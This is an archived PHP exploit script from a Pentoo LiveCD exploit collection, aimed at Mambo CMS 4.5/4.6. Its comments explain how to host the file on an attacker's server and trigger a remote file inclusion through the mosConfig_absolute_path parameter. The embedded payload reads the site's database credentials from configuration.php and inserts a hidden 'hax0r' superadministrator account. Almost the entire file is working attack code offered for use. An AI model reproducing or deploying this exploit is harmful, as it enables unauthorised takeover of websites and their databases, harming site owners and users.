home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / mambo / mamboConfigurationInfoDiscExpl.php < prev    next >
PHP Script  |  2005-02-12  |  2KB  |  46 lines
  1. <?php
  2. /*
  3. || Mambo OS v4.5 y v4.6 xploit
  4. ||
  5. || This script will insert a superadministrator user to the mambo database.
  6. || Change the variables bellow and upload this script to www.url.com/modules/mod_mainmenu.class.php
  7. || then go to the victim's url using that url.com like the value in mosConfig_absolute, ex.
  8. ||
  9. || http://www.vicitm.com/modules/mod_mainmenu.php?mosConfig_absolute_path=http://www.url.com
  10. ||
  11. || Advisory:  http://www.kernelpanik.org/docs/kernelpanik/mamboadv.txt
  12. ||
  13. || Yo_Soy - <yo_soy@raza-mexicana.org>
  14. || Raza Mexicana Hackers Team - http://www.raza-mexicana.org
  15. */
  16.  
  17. // Just change this vars ------------------------------
  18. $hacker_nick = 'hax0r';
  19. $hacker_pass = 'eaea';
  20. $base_path_url = "/home/victim/public_html/";  # <-- ending slash
  21. // ----------------------------------------------------
  22.  
  23. $body = <<<END
  24. <?php
  25.         \$hacker_nick = "$hacker_nick";
  26.         \$hacker_pass = md5("$hacker_pass");
  27.         \$base_path_url = "$base_path_url";
  28.  
  29.         include(\$base_path_url."configuration.php");
  30.         \$conn = mysql_connect("\$mosConfig_host", "\$mosConfig_user", "\$mosConfig_password");
  31.         mysql_select_db("\$mosConfig_db");
  32.         \$rmht_sql = "INSERT INTO mos_users VALUES (800, 'hax0r', '\$hacker_nick', 'admin@wherever',
  33. ".
  34.         "'\$hacker_pass', 'superadministrator', 0, 1, 25, '2003-11-11 00:00:00', '0000-00-00 00:00:00
  35. '); ";
  36.         \$resultado = mysql_query(\$rmht_sql);
  37.         \$rmht_sql = "INSERT INTO mos_core_acl_aro VALUES (800,'users','800',0,'hax0r',0);";
  38.         \$resultado = mysql_query(\$rmht_sql);
  39.          \$rmht_sql = "INSERT INTO mos_core_acl_groups_aro_map VALUES (25,'',800);";
  40.         \$resultado = mysql_query(\$rmht_sql);
  41.         mysql_close(\$conn);
  42. ?>
  43. END;
  44. print $body;
  45. ?>
  46.